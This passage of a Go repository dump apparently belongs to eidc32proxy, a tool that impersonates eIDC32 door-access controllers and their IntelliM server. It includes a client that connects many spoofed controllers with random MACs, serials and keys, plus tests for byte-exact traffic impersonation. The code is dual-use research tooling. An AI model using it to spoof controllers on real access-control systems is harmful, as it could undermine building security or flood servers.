87 | macsToSerials := make(map[string]string) 88 | var optionalSerial string 89 | if len(*optionalMACAddress) > 0 { 90 | optionalSerial, err = client.SerialNumberFromMACString(*optionalMACAddress) 91 | if err != nil { 92 | log.Fatalf("failed to generate serial number from specified mac - %s", err.Error()) 93 | } 94 | } else { 95 | for i := 0; i < *numClients; i++ { 96 | mac, err := client.MostlyRandomMAC() 97 | if err != nil { 98 | log.Fatalf("failed to generate a random mac - %s", err.Error()) 99 | } 100 | _, ok := macsToSerials[mac.String()] 101 | if ok { 102 | i-- 103 | continue 104 | } 105 | macsToSerials[mac.String()] = client.SerialNumberFromMAC(mac.MAC) 106 | } 107 | } 108 | 109 | ips := make(map[string]struct{}) 110 | for i := 0; i < *numClients; i++ { 111 | ip, err := client.RandomInternalIPv4Address() 112 | if err != nil { 113 | log.Fatalf("failed to generate a random ip address - %s", err.Error()) 114 | } 115 | _, ok := ips[ip.String()] 116 | if ok { 117 | i-- 118 | continue 119 | } 120 | ips[ip.String()] = struct{}{} 121 | } 122 | 123 | serverKeys := make(map[string]struct{}) 124 | for i := 0; i < *numClients; i++ { 125 | serverKey, err := client.RandomServerKey() 126 | if err != nil { 127 | log.Fatalf("failed to generate a random server key - %s", err.Error()) 128 | } 129 | _, ok := serverKeys[serverKey] 130 | if ok { 131 | i-- 132 | continue 133 | } 134 | serverKeys[serverKey] = struct{}{} 135 | } 136 | 137 | var clients []*client.Client 138 | wg := &sync.WaitGroup{} 139 | for i := 0; i < *numClients; i++ { 140 | req := eidc32proxy.ConnectedRequest{ 141 | CardFormat: "short", 142 | FirmwareVersion: *firmwareVersion, 143 | } 144 | if len(optionalSiteKey) > 0 { 145 | req.SiteKey = optionalSiteKey 146 | } else { 147 | for k := range sitekeys { 148 | req.SiteKey = k 149 | delete(sitekeys, k) 150 | break 151 | } 152 | } 153 | if len(*optionalMACAddress) > 0 { 154 | req.MacAddress = *optionalMACAddress 155 | req.SerialNumber = optionalSerial 156 | } else { 157 | for k, v := range macsToSerials { 158 | req.MacAddress = k 159 | req.SerialNumber = v 160 | delete(macsToSerials, k) 161 | break 162 | } 163 | } 164 | for k := range ips { 165 | req.IPAddress = k 166 | delete(ips, k) 167 | break 168 | } 169 | var serverKey string 170 | for k := range serverKeys { 171 | serverKey = k 172 | delete(serverKeys, k) 173 | break 174 | } 175 | raw, _ := json.MarshalIndent(&req, "", " ") 176 | log.Printf("connecting to %s with config: %s", 177 | intellimURL.ConnectTo().String(), raw) 178 | eidcClient, err := connectTo(client.ConnectionConfig{ 179 | URL: intellimURL, 180 | FirstWriteTimeout: 60 * time.Second, 181 | FirstReadTimeout: 60 * time.Second, 182 | ServerKey: serverKey, 183 | Request: req, 184 | }, wg) 185 | if err != nil { 186 | for _, c := range clients { 187 | c.Close() 188 | } 189 | log.Fatalf("failed to connect client - %s", err.Error()) 190 | } 191 | clients = append(clients, eidcClient) 192 | } 193 | 194 | controlC := make(chan os.Signal, 1) 195 | signal.Notify(controlC, os.Interrupt, os.Kill) 196 | 197 | allDone := make(chan struct{}) 198 | go func() { 199 | wg.Wait() 200 | allDone <- struct{}{} 201 | }() 202 | select { 203 | case <-allDone: 204 | log.Println("all connections ended") 205 | case <-controlC: 206 | for _, c := range clients { 207 | c.Close() 208 | } 209 | } 210 | } 211 | 212 | func connectTo(info client.ConnectionConfig, onExited *sync.WaitGroup) (*client.Client, error) { 213 | rawGobrResp, err := eidc32proxy.EIDCHTTPResponseBytes(&eidc32proxy.EIDCHTTPResponseData{ 214 | StatusCode: http.StatusOK, 215 | WrapperBody: &eidc32proxy.EIDCSimpleResponse{ 216 | Cmd: eidc32proxy.GetoutboundResponseCmd, 217 | Result: true, 218 | }, 219 | Body: &eidc32proxy.GetOutboundResponse{ 220 | SiteKey: info.Request.SiteKey, 221 | PrimaryHostAddress: strings.Split(info.URL.IntelliM.Host, ":")[0], 222 | PrimaryPort: 18800, 223 | SecondaryHostAddress: "52.200.49.37", 224 | SecondaryPort: 18800, 225 | PrimarySsl: 1, 226 | SecondarySsl: 1, 227 | RetryInterval: 1, 228 | MaxRandomRetryInterval: 60, 229 | Enabled: 1, 230 | }, 231 | }) 232 | if err != nil { 233 | return nil, fmt.Errorf("failed to pre-compute response to gobr - %w", err) 234 | } 235 | 236 | // Create a pager before connecting and subscribe so we 237 | // do not miss any messages. 238 | info.Pager = eidc32proxy.NewMessagePager() 239 | anyMessages, stopAnyMessages := info.Pager.Subscribe(eidc32proxy.SubInfo{ 240 | Category: eidc32proxy.SubMsgCatAny, 241 | }) 242 | getOutboundRequests, stopGetOutboundsRequests := info.Pager.Subscribe(eidc32proxy.SubInfo{ 243 | MsgTypes: []eidc32proxy.MsgType{eidc32proxy.MsgTypeGetoutboundRequest}, 244 | }) 245 | garbageRequests, garbageUnsubFns := client.SubscribeTo(info.Pager, 246 | eidc32proxy.MsgTypeHeartbeatRequest, 247 | eidc32proxy.MsgTypeResetEventsRequest, 248 | eidc32proxy.MsgTypeEnableEventsRequest, 249 | eidc32proxy.MsgTypeSetOutboundRequest, 250 | eidc32proxy.MsgTypeSetWebUserRequest) 251 | unsubAllPagerSubsFn := func() { 252 | stopAnyMessages() 253 | stopGetOutboundsRequests() 254 | for _, unsub := range garbageUnsubFns { 255 | unsub() 256 | } 257 | } 258 | 259 | eidcClient, err := client.ConnectWithConfig(info) 260 | if err != nil { 261 | unsubAllPagerSubsFn() 262 | return nil, fmt.Errorf("failed to connect to %s - %s", 263 | info.URL.ConnectTo().String(), err.Error()) 264 | } 265 | 266 | onExited.Add(1) 267 | go func() { 268 | sendWrapperFn := func(raw []byte, msgType eidc32proxy.MsgType) error { 269 | log.Printf("[notice] automaically responding to '%s' with:\n%s", 270 | msgType.String(), raw) 271 | return eidcClient.SendRaw(raw) 272 | } 273 | 274 | respondTrueErrs := client.TrueDat(sendWrapperFn, garbageRequests...) 275 | 276 | for { 277 | select { 278 | case err := <-eidcClient.OnConnClosed(): 279 | if err != nil && !strings.HasSuffix(err.Error(), ": use of closed network connection") { 280 | log.Printf("[fatal] connection ended - %s", err.Error()) 281 | } else { 282 | log.Println("[done] socket closed") 283 | } 284 | unsubAllPagerSubsFn() 285 | eidcClient.Close() 286 | onExited.Done() 287 | return 288 | case msg := <-anyMessages: 289 | if msg.Direction() == eidc32proxy.Northbound { 290 | log.Printf("[outgoing message]\n'%s'", msg.OrigBytes()) 291 | } else { 292 | log.Printf("[incoming message]\n'%s'", msg.OrigBytes()) 293 | } 294 | case <-getOutboundRequests: 295 | log.Println("responding to gobr...") 296 | 297 | err = eidcClient.SendRaw(rawGobrResp) 298 | if err != nil { 299 | log.Printf("failed to send response to getOutboundRequest - %s", err.Error()) 300 | continue 301 | } 302 | 303 | log.Printf("sent this response to gobr: '%s'", rawGobrResp) 304 | case err := <-respondTrueErrs: 305 | if err != nil { 306 | log.Printf("[warning] failed to automatically respond to a message - %s", err.Error()) 307 | } 308 | } 309 | } 310 | }() 311 | 312 | return eidcClient, nil 313 | } 314 | -------------------------------------------------------------------------------- /event.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | const ( 8 | BufferedEventFlag EventType = 32768 // AND-ed with event value to indicate a buffered (rather than live) event 9 | EventRequestURI = "/eidc/event" // sent via POST; body contains a EventRequest 10 | ) 11 | 12 | const ( 13 | EventDeviceStartup EventType = 1 14 | EventReflashSuccessful EventType = 2 15 | EventReflashFailed EventType = 3 16 | EventError EventType = 4 17 | EventEventBufferOverflow EventType = 5 18 | EventDeviceCommunicationEstablish EventType = 6 19 | EventDeviceCommunicationLost EventType = 7 20 | EventPowerNormal EventType = 8 21 | EventPowerLost EventType = 9 22 | EventBatteryNormal EventType = 10 23 | EventBatteryLost EventType = 11 24 | EventDownloadSuccess EventType = 12 25 | EventDownloadError EventType = 13 26 | EventTamperAbnormal EventType = 14 27 | EventTamperNormal EventType = 15 28 | EventSupervisionAbnormal EventType = 16 29 | EventSupervisionNormal EventType = 17 30 | EventInputBypassed EventType = 33 31 | EventInputUnBypassed EventType = 34 32 | EventInputInactivityReport EventType = 35 33 | EventOutputOverridden EventType = 36 34 | EventOutputUnOverridden EventType = 37 35 | EventUnrecognizedCardFormat EventType = 48 36 | EventReaderServiceUndefined EventType = 49 37 | EventAuthentication_UnknownCard EventType = 50 38 | EventAuthentication_CardOutdated EventType = 51 39 | EventAuthentication_CardNotYetActive EventType = 52 40 | EventAuthentication_CardExpired EventType = 53 41 | EventAuthentication_CardBlocked EventType = 54 42 | EventAuthentication_PINMismatch EventType = 55 43 | EventAuthentication_TooManyRetries EventType = 56 44 | EventAuthentication_GroupNotDefined EventType = 57 45 | EventAuthentication_DoubleTap EventType = 58 46 | EventAccessGranted EventType = 64 47 | EventAccessDenied_InsufficientPrivileges EventType = 65 48 | EventAccessDenied_OutOfPrivilegeSchedule EventType = 66 49 | EventAccessDenied_ConditionNotMet EventType = 67 50 | EventAccessDenied_PriorityTriggerActive EventType = 68 51 | EventAccessDenied_PassbackViolation EventType = 69 52 | EventAccessRestricted EventType = 70 53 | EventAccessEvent_PassbackViolation EventType = 71 54 | EventAccessEvent_DoorOpenTooLong EventType = 72 55 | EventAlarm_InAlarm EventType = 80 56 | EventAlarm_Armed EventType = 81 57 | EventAlarm_Disarmed EventType = 82 58 | EventAlarm_Restored EventType = 83 59 | EventArming_Armed EventType = 88 60 | EventArming_ArmFailed_InsufficientPrivileges EventType = 89 61 | EventArming_ArmFailed_OutOfPrivilegeSchedule EventType = 90 62 | EventArming_ArmFailed_ConditionNotMet EventType = 91 63 | EventArming_ArmFailed_PriorityTriggerActive EventType = 92 64 | EventArming_Disarmed EventType = 93 65 | EventServiceActivated EventType = 96 66 | EventServiceActivationFailed_ConditionNotMet EventType = 97 67 | EventServiceActivationFailed_PriorityTriggerActive EventType = 98 68 | EventServiceDeactivated EventType = 99 69 | EventElevatorAccessGranted EventType = 104 70 | EventElevatorAccessDenied_InsufficientPrivileges EventType = 105 71 | EventElevatorAccessDenied_OutOfPrivilegeSchedule EventType = 106 72 | EventElevatorAccessDenied_ConditionNotMet EventType = 107 73 | EventElevatorAccessDenied_PriorityTriggerActive EventType = 108 74 | EventElevatorAccessRestricted EventType = 109 75 | EventLOW_VOLTAGE EventType = 117 76 | EventVOLTAGE_NORMAL EventType = 118 77 | EventDC1_POWER_TROUBLE EventType = 122 78 | EventDC2_POWER_TROUBLE EventType = 123 79 | EventDC1_POWER_RESTORED EventType = 124 80 | EventDC2_POWER_RESTORED EventType = 125 81 | EventReboot EventType = 128 82 | EventStarted EventType = 129 83 | EventSetNetworkInfo EventType = 130 84 | EventReflashFirmware EventType = 131 85 | EventCONNECTION_START EventType = 144 86 | EventCONNECTION_START_DNS EventType = 145 87 | EventCONNECTION_HAVE_IP EventType = 146 88 | EventCONNECTION_CONNECTED EventType = 147 89 | EventCONNECTION_DISCONNECTED EventType = 148 90 | EventCONNECTION_FAILED EventType = 149 91 | EventCONNECTION_START_SSL EventType = 150 92 | EventCONNECTION_NO_DNS_SERVER EventType = 151 93 | ) 94 | 95 | type EventType uint16 96 | 97 | func (o EventType) String() string { 98 | // strip the buffered flag 99 | evtType := o & ^BufferedEventFlag 100 | var result string 101 | switch evtType { 102 | case 1: 103 | result = "DeviceStartup" 104 | case 2: 105 | result = "ReflashSuccessful" 106 | case 3: 107 | result = "ReflashFailed" 108 | case 4: 109 | result = "Error" 110 | case 5: 111 | result = "EventBufferOverflow" 112 | case 6: 113 | result = "DeviceCommunicationEstablish" 114 | case 7: 115 | result = "DeviceCommunicationLost" 116 | case 8: 117 | result = "PowerNormal" 118 | case 9: 119 | result = "PowerLost" 120 | case 10: 121 | result = "BatteryNormal" 122 | case 11: 123 | result = "BatteryLost" 124 | case 12: 125 | result = "DownloadSuccess" 126 | case 13: 127 | result = "DownloadError" 128 | case 14: 129 | result = "TamperAbnormal" 130 | case 15: 131 | result = "TamperNormal" 132 | case 16: 133 | result = "SupervisionAbnormal" 134 | case 17: 135 | result = "SupervisionNormal" 136 | case 33: 137 | result = "InputBypassed" 138 | case 34: 139 | result = "InputUnBypassed" 140 | case 35: 141 | result = "InputInactivityReport" 142 | case 36: 143 | result = "OutputOverridden" 144 | case 37: 145 | result = "OutputUnOverridden" 146 | case 48: 147 | result = "UnrecognizedCardFormat" 148 | case 49: 149 | result = "ReaderServiceUndefined" 150 | case 50: 151 | result = "Authentication_UnknownCard" 152 | case 51: 153 | result = "Authentication_CardOutdated" 154 | case 52: 155 | result = "Authentication_CardNotYetActive" 156 | case 53: 157 | result = "Authentication_CardExpired" 158 | case 54: 159 | result = "Authentication_CardBlocked" 160 | case 55: 161 | result = "Authentication_PINMismatch" 162 | case 56: 163 | result = "Authentication_TooManyRetries" 164 | case 57: 165 | result = "Authentication_GroupNotDefined" 166 | case 58: 167 | result = "Authentication_DoubleTap" 168 | case 64: 169 | result = "AccessGranted" 170 | case 65: 171 | result = "AccessDenied_InsufficientPrivileges" 172 | case 66: 173 | result = "AccessDenied_OutOfPrivilegeSchedule" 174 | case 67: 175 | result = "AccessDenied_ConditionNotMet" 176 | case 68: 177 | result = "AccessDenied_PriorityTriggerActive" 178 | case 69: 179 | result = "AccessDenied_PassbackViolation" 180 | case 70: 181 | result = "AccessRestricted" 182 | case 71: 183 | result = "AccessEvent_PassbackViolation" 184 | case 72: 185 | result = "AccessEvent_DoorOpenTooLong" 186 | case 80: 187 | result = "Alarm_InAlarm" 188 | case 81: 189 | result = "Alarm_Armed" 190 | case 82: 191 | result = "Alarm_Disarmed" 192 | case 83: 193 | result = "Alarm_Restored" 194 | case 88: 195 | result = "Arming_Armed" 196 | case 89: 197 | result = "Arming_ArmFailed_InsufficientPrivileges" 198 | case 90: 199 | result = "Arming_ArmFailed_OutOfPrivilegeSchedule" 200 | case 91: 201 | result = "Arming_ArmFailed_ConditionNotMet" 202 | case 92: 203 | result = "Arming_ArmFailed_PriorityTriggerActive" 204 | case 93: 205 | result = "Arming_Disarmed" 206 | case 96: 207 | result = "ServiceActivated" 208 | case 97: 209 | result = "ServiceActivationFailed_ConditionNotMet" 210 | case 98: 211 | result = "ServiceActivationFailed_PriorityTriggerActive" 212 | case 99: 213 | result = "ServiceDeactivated" 214 | case 104: 215 | result = "ElevatorAccessGranted" 216 | case 105: 217 | result = "ElevatorAccessDenied_InsufficientPrivileges" 218 | case 106: 219 | result = "ElevatorAccessDenied_OutOfPrivilegeSchedule" 220 | case 107: 221 | result = "ElevatorAccessDenied_ConditionNotMet" 222 | case 108: 223 | result = "ElevatorAccessDenied_PriorityTriggerActive" 224 | case 109: 225 | result = "ElevatorAccessRestricted" 226 | case 117: 227 | result = "LOW_VOLTAGE" 228 | case 118: 229 | result = "VOLTAGE_NORMAL" 230 | case 122: 231 | result = "DC1_POWER_TROUBLE" 232 | case 123: 233 | result = "DC2_POWER_TROUBLE" 234 | case 124: 235 | result = "DC1_POWER_RESTORED" 236 | case 125: 237 | result = "DC2_POWER_RESTORED" 238 | case 128: 239 | result = "Reboot" 240 | case 129: 241 | result = "Started" 242 | case 130: 243 | result = "SetNetworkInfo" 244 | case 131: 245 | result = "ReflashFirmware" 246 | case 144: 247 | result = "CONNECTION_START" 248 | case 145: 249 | result = "CONNECTION_START_DNS" 250 | case 146: 251 | result = "CONNECTION_HAVE_IP" 252 | case 147: 253 | result = "CONNECTION_CONNECTED" 254 | case 148: 255 | result = "CONNECTION_DISCONNECTED" 256 | case 149: 257 | result = "CONNECTION_FAILED" 258 | case 150: 259 | result = "CONNECTION_START_SSL" 260 | case 151: 261 | result = "CONNECTION_NO_DNS_SERVER" 262 | default: 263 | result = "Unknown_Event_Type" 264 | } 265 | buffered := o&BufferedEventFlag == BufferedEventFlag 266 | if buffered { 267 | result = fmt.Sprintf("(%s)", result) 268 | } 269 | return result 270 | } 271 | -------------------------------------------------------------------------------- /impersonate_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "io/ioutil" 7 | "log" 8 | "net/http" 9 | "sort" 10 | "testing" 11 | ) 12 | 13 | func TestEidc32RequestHeaderSort(t *testing.T) { 14 | var test eidc32RequestHeaderSort 15 | test = append(test, "Content-Type: line 3") 16 | test = append(test, "POST line 1") 17 | test = append(test, "HOST: line 2") 18 | test = append(test, "ServerKey: line 5") 19 | test = append(test, "Content-Length: line 4") 20 | 21 | var expected eidc32RequestHeaderSort 22 | expected = append(expected, "POST line 1") 23 | expected = append(expected, "HOST: line 2") 24 | expected = append(expected, "Content-Type: line 3") 25 | expected = append(expected, "Content-Length: line 4") 26 | expected = append(expected, "ServerKey: line 5") 27 | 28 | sort.Sort(test) 29 | 30 | if len(test) != len(expected) { 31 | t.Fatalf("slice lengths no good") 32 | } 33 | 34 | for i := range test { 35 | if test[i] != expected[i] { 36 | t.Fatalf("sort failure at line %d", i) 37 | } 38 | } 39 | } 40 | 41 | func TestEidc32ResponseHeaderSort(t *testing.T) { 42 | var test eidc32ResponseHeaderSort 43 | test = append(test, "Server: eIDC32 WebServeter line 2") 44 | test = append(test, "Cache-Control: no-cache line 5") 45 | test = append(test, "Content-Length: 360 line 4") 46 | test = append(test, "Content-type: application/json line 3") 47 | test = append(test, "HTTP/1.0 200 OK line 1") 48 | 49 | var expected eidc32ResponseHeaderSort 50 | expected = append(expected, "HTTP/1.0 200 OK line 1") 51 | expected = append(expected, "Server: eIDC32 WebServeter line 2") 52 | expected = append(expected, "Content-type: application/json line 3") 53 | expected = append(expected, "Content-Length: 360 line 4") 54 | expected = append(expected, "Cache-Control: no-cache line 5") 55 | 56 | sort.Sort(test) 57 | 58 | if len(test) != len(expected) { 59 | t.Fatalf("slice lengths no good") 60 | } 61 | 62 | for i := range test { 63 | if test[i] != expected[i] { 64 | t.Fatalf("sort failure at line %d", i) 65 | } 66 | } 67 | } 68 | 69 | func TestServerRequestHeaderSort(t *testing.T) { 70 | var test serverRequestHeaderSort 71 | test = append(test, "Content-Type: line 3") 72 | test = append(test, "POST line 1") 73 | test = append(test, "HOST: line 2") 74 | test = append(test, "ServerKey: line 5") 75 | test = append(test, "Content-Length: line 4") 76 | 77 | var expected serverRequestHeaderSort 78 | expected = append(expected, "POST line 1") 79 | expected = append(expected, "HOST: line 2") 80 | expected = append(expected, "Content-Type: line 3") 81 | expected = append(expected, "Content-Length: line 4") 82 | expected = append(expected, "ServerKey: line 5") 83 | 84 | sort.Sort(test) 85 | 86 | if len(test) != len(expected) { 87 | t.Fatalf("slice lengths no good") 88 | } 89 | 90 | for i := range test { 91 | if test[i] != expected[i] { 92 | t.Fatalf("sort failure at line %d", i) 93 | } 94 | } 95 | } 96 | 97 | func TestServerResponseHeaderSort(t *testing.T) { 98 | var test serverResponseHeaderSort 99 | test = append(test, "Content-Length: 32 line 3") 100 | test = append(test, "HTTP/1.1 200 OK line 1") 101 | test = append(test, "Content-Type: application/json line 2") 102 | 103 | var expected serverResponseHeaderSort 104 | expected = append(expected, "HTTP/1.1 200 OK line 1") 105 | expected = append(expected, "Content-Type: application/json line 2") 106 | expected = append(expected, "Content-Length: 32 line 3") 107 | 108 | sort.Sort(test) 109 | 110 | if len(test) != len(expected) { 111 | t.Fatalf("slice lengths no good") 112 | } 113 | 114 | for i := range test { 115 | if test[i] != expected[i] { 116 | log.Println(test[i]) 117 | log.Println(expected[i]) 118 | t.Fatalf("sort failure at line %d", i) 119 | } 120 | } 121 | } 122 | 123 | func TestNorthboundData(t *testing.T) { 124 | nbdata, err := ioutil.ReadFile("test_northbound.dat") 125 | if err != nil { 126 | t.Fatal(err) 127 | } 128 | s := bufio.NewScanner(bufio.NewReader(bytes.NewReader(nbdata))) 129 | s.Split(SplitHttpMsg) 130 | for s.Scan() { 131 | switch { 132 | case isRequest(s.Bytes()): 133 | request, err := parseAndRebuildHTTPRequest(s.Bytes()) 134 | if err != nil { 135 | t.Fatal(err) 136 | } 137 | impostorRequest, err := impersonateEIDC32Request(request) 138 | if err != nil { 139 | t.Fatal(err) 140 | } 141 | if !bytes.Equal(s.Bytes(), impostorRequest) { 142 | t.Fatalf("original and rebuilt requests don't match:\nvvvvvv\n%s\n^^^^^^\nvvvvvv\n%s\n^^^^^^\n", string(s.Bytes()), string(impostorRequest)) 143 | } 144 | case isResponse(s.Bytes()): 145 | response, err := parseAndRebuildHTTPResponse(s.Bytes()) 146 | if err != nil { 147 | t.Fatal(err) 148 | } 149 | impostorResponse, err := impersonateEIDC32Response(response) 150 | if !bytes.Equal(s.Bytes(), impostorResponse) { 151 | log.Println(impostorResponse) 152 | log.Println(s.Bytes()) 153 | t.Fatalf("original and rebuilt responses don't match:\nvvvvvv\n%s\n^^^^^^\nvvvvvv\n%s\n^^^^^^\n", string(s.Bytes()), string(impostorResponse)) 154 | } 155 | default: 156 | t.Fatalf("neither request nor response:\nvvvvvv\n%s\n^^^^^^\n", s.Text()) 157 | } 158 | } 159 | } 160 | 161 | func TestSouthboundData(t *testing.T) { 162 | sbdata, err := ioutil.ReadFile("test_southbound.dat") 163 | if err != nil { 164 | t.Fatal(err) 165 | } 166 | s := bufio.NewScanner(bufio.NewReader(bytes.NewReader(sbdata))) 167 | s.Split(SplitHttpMsg) 168 | for s.Scan() { 169 | switch { 170 | case isRequest(s.Bytes()): 171 | request, err := parseAndRebuildHTTPRequest(s.Bytes()) 172 | if err != nil { 173 | t.Fatal(err) 174 | } 175 | impostorRequest, err := impersonateServerRequest(request) 176 | if err != nil { 177 | t.Fatal(err) 178 | } 179 | if !bytes.Equal(s.Bytes(), impostorRequest) { 180 | t.Fatalf("original and rebuilt requests don't match:\nvvvvvv\n%s\n^^^^^^\nvvvvvv\n%s\n^^^^^^\n", string(s.Bytes()), string(impostorRequest)) 181 | } 182 | case isResponse(s.Bytes()): 183 | response, err := parseAndRebuildHTTPResponse(s.Bytes()) 184 | if err != nil { 185 | t.Fatal(err) 186 | } 187 | impostorResponse, err := impersonateServerResponse(response) 188 | if !bytes.Equal(s.Bytes(), impostorResponse) { 189 | t.Fatalf("original and rebuilt responses don't match:\nvvvvvv\n%s\n^^^^^^\nvvvvvv\n%s\n^^^^^^\n", string(s.Bytes()), string(impostorResponse)) 190 | } 191 | default: 192 | t.Fatalf("neither request nor response:\nvvvvvv\n%s\n^^^^^^\n", s.Text()) 193 | } 194 | } 195 | } 196 | 197 | // parseAndRebuildHTTPRequest is a testing function that parses an HTTP request 198 | // and then rebuilds it using the standard libraries. It takes bytes and returns 199 | // bytes, but probably not the same string due differences in the http library. 200 | // the returned strings are then used to test the impostor functions. 201 | func parseAndRebuildHTTPRequest(in []byte) ([]byte, error) { 202 | r, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(in))) 203 | if err != nil { 204 | return nil, err 205 | } 206 | 207 | b, err := ioutil.ReadAll(r.Body) 208 | if err != nil { 209 | return nil, err 210 | } 211 | 212 | r.Header.Set("User-Agent", r.Header.Get("User-Agent")) 213 | r.Body = ioutil.NopCloser(bytes.NewReader(b)) 214 | out := bytes.Buffer{} 215 | err = r.Write(&out) 216 | if err != nil { 217 | return nil, err 218 | } 219 | 220 | return out.Bytes(), nil 221 | } 222 | 223 | // parseAndRebuildHTTPResponse is a testing function that parses an HTTP request 224 | // and then rebuilds it using the standard libraries. It takes bytes and returns 225 | // bytes, but probably not the same string due differences in the http library. 226 | // the returned strings are then used to test the impostor functions. 227 | func parseAndRebuildHTTPResponse(in []byte) ([]byte, error) { 228 | r, err := http.ReadResponse(bufio.NewReader(bytes.NewReader(in)), nil) 229 | if err != nil { 230 | return nil, err 231 | } 232 | 233 | b, err := ioutil.ReadAll(r.Body) 234 | if err != nil { 235 | return nil, err 236 | } 237 | 238 | r.Body = ioutil.NopCloser(bytes.NewReader(b)) 239 | out := bytes.Buffer{} 240 | err = r.Write(&out) 241 | if err != nil { 242 | return nil, err 243 | } 244 | 245 | return out.Bytes(), nil 246 | } 247 | 248 | func TestImpersonateEIDC32Restponse(t *testing.T) { 249 | testData := "HTTP/1.0 200 OK\r\n" + 250 | "Server: eIDC32 WebServer\r\n" + 251 | "Content-type: application/json\r\n" + 252 | "Content-Length: 359\r\n" + 253 | "Cache-Control: no-cache\r\n" + 254 | "\r\n" 255 | body := `{"result":true, "cmd":"GETOUTBOUND", "body":{"siteKey":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "primaryHostAddress":"xxxxxxxxxx-xxxxxx-xxxxxxxxxxxxxxxx.elb.us-east-1.amazonaws.com", "primaryPort":18800, "secondaryHostAddress":"11.22.33.44", "secondaryPort":18800, "primarySsl":1, "secondarySsl":1, "retryInterval":1, "maxRandomRetryInterval":60, "enabled":1}}` 256 | r, err := http.ReadResponse(bufio.NewReader(bytes.NewReader([]byte(testData))), nil) 257 | if err != nil { 258 | t.Fatal(err) 259 | } 260 | r.Body = ioutil.NopCloser(bytes.NewReader([]byte(body))) 261 | out := bytes.Buffer{} 262 | 263 | err = r.Write(&out) 264 | if err != nil { 265 | t.Fatal(err) 266 | } 267 | impostor, err := impersonateEIDC32Response(out.Bytes()) 268 | 269 | if !bytes.Equal([]byte(testData+body), impostor) { 270 | t.Fatal("impostor data doesn't match original data") 271 | } 272 | } 273 | 274 | func TestDoServerQueryParamSort(t *testing.T) { 275 | expected1 := "GET /eidc/getoutbound\r\n" 276 | testData1 := "GET /eidc/getoutbound\r\n" 277 | result1 := doServerQueryParamSort(testData1) 278 | if expected1 != result1 { 279 | t.Fatalf("strings don't match:\n>%s<\n>%s<", expected1, result1) 280 | } 281 | 282 | expected2 := "GET /eidc/getoutbound#foo\r\n" 283 | testData2 := "GET /eidc/getoutbound#foo\r\n" 284 | result2 := doServerQueryParamSort(testData2) 285 | if expected2 != result2 { 286 | t.Fatalf("strings don't match:\n>%s<\n>%s<", expected2, result2) 287 | } 288 | 289 | expected3 := "GET /eidc/getoutbound?username=admin&password=admin&seq=1 HTTP/1.1\r\n" 290 | testData3 := "GET /eidc/getoutbound?username=admin&password=admin&seq=1 HTTP/1.1\r\n" 291 | result3 := doServerQueryParamSort(testData3) 292 | if expected3 != result3 { 293 | t.Fatalf("strings don't match:\n>%s<\n>%s<", expected3, result3) 294 | } 295 | 296 | expected4 := "GET /eidc/getoutbound?username=admin&password=admin&seq=1#foo HTTP/1.1\r\n" 297 | testData4 := "GET /eidc/getoutbound?username=admin&password=admin&seq=1#foo HTTP/1.1\r\n" 298 | result4 := doServerQueryParamSort(testData4) 299 | if expected4 != result4 { 300 | t.Fatalf("strings don't match:\n>%s<\n>%s<", expected4, result4) 301 | } 302 | 303 | expected5 := "GET /eidc/getoutbound?username=admin&password=admin&seq=1 HTTP/1.1\r\n" 304 | testData5 := "GET /eidc/getoutbound?password=admin&seq=1&username=admin HTTP/1.1\r\n" 305 | result5 := doServerQueryParamSort(testData5) 306 | if expected5 != result5 { 307 | t.Fatalf("strings don't match:\n>%s<\n>%s<", expected5, result5) 308 | } 309 | 310 | expected6 := "GET /eidc/getoutbound?username=admin&password=admin&seq=1#foo HTTP/1.1\r\n" 311 | testData6 := "GET /eidc/getoutbound?password=admin&seq=1&username=admin#foo HTTP/1.1\r\n" 312 | result6 := doServerQueryParamSort(testData6) 313 | if expected6 != result6 { 314 | t.Fatalf("strings don't match:\n>%s<\n>%s<", expected6, result6) 315 | } 316 | } 317 | -------------------------------------------------------------------------------- /message_intellim.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "encoding/json" 5 | "net/http" 6 | ) 7 | 8 | const ( 9 | heartbeatRequestURI = "/eidc/heartbeat" // GET; no body; stray newline 10 | getOutboundRequestURI = "/eidc/getoutbound" // GET; no body; stray newline 11 | enableEventsRequestURI = "/eidc/enableevents" // GET; no body; stray newline 12 | setTimeRequestURI = "/eidc/setTime" // POST; body contains a SetTimeRequest 13 | setWebUserRequestURI = "/eidc/setwebuser" // POST; body contains a SetWebUserRequest 14 | getPointStatusRequestURI = "/eidc/getPointStatus" // POST; body contains a GetPointStatusRequest 15 | eventAckRequestURI = "/eidc/eventack" // POST; body contains a EventAckRequest 16 | doorLockStatusRequestURI = "/eidc/door/lockstatus" // POST; body contains a Door0x2fLockStatusRequest 17 | resetEventsRequestURI = "/eidc/resetevents" // GET; no body; stray newline 18 | clearPointsRequestURI = "/eidc/clearPoints" // GET; no body; stray newline 19 | addPointsRequestURI = "/eidc/addPoints" // POST; body contains a AddPointsRequest 20 | resetPointEngineRequestURI = "/eidc/resetPointEngine" // GET; no body; stray newline 21 | clearFormatsRequestURI = "/eidc/clearformats" // GET; no body; stray newline 22 | addFormatsRequestURI = "/eidc/addFormats" // POST; body contains a AddFormatsRequest 23 | clearSchedulesRequestURI = "/eidc/clearSchedules" // GET; no body; stray newline 24 | clearHolidaysRequestURI = "/eidc/clearHolidays" // GET; no body; stray newline 25 | addSchedulesRequestURI = "/eidc/addSchedules" // POST; body contains a // todo: Content-Length: 16\r\n\r\n{"Schedules":[]}HTTP/1.0 200 OK 26 | clearPrivilegesRequestURI = "/eidc/clearPrivileges" // GET; no body; stray newline 27 | addPrivilegesRequestURI = "/eidc/addPrivileges" // POST; body contains a AddPrivilegesRequest 28 | clearCardsRequestURI = "/eidc/clearCards" // GET; no body; stray newline 29 | addCardsRequestURI = "/eidc/addCards" // POST; body contains a AddCardsRequest 30 | setConfigKeyRequestURI = "/eidc/setConfigKey" // POST; body contains a SetConfigKeyRequest 31 | setDeviceIDRequestURI = "/eidc/setDeviceID" // POST; body contains a SetDeviceIDRequest 32 | setOutboundRequestURI = "/eidc/setoutbound" // POST; body contains a SetOutboundRequest 33 | downloadRequestURI = "/eidc/download" // POST; body contains software image (unzipped .img not web) 34 | reflashRequestURI = 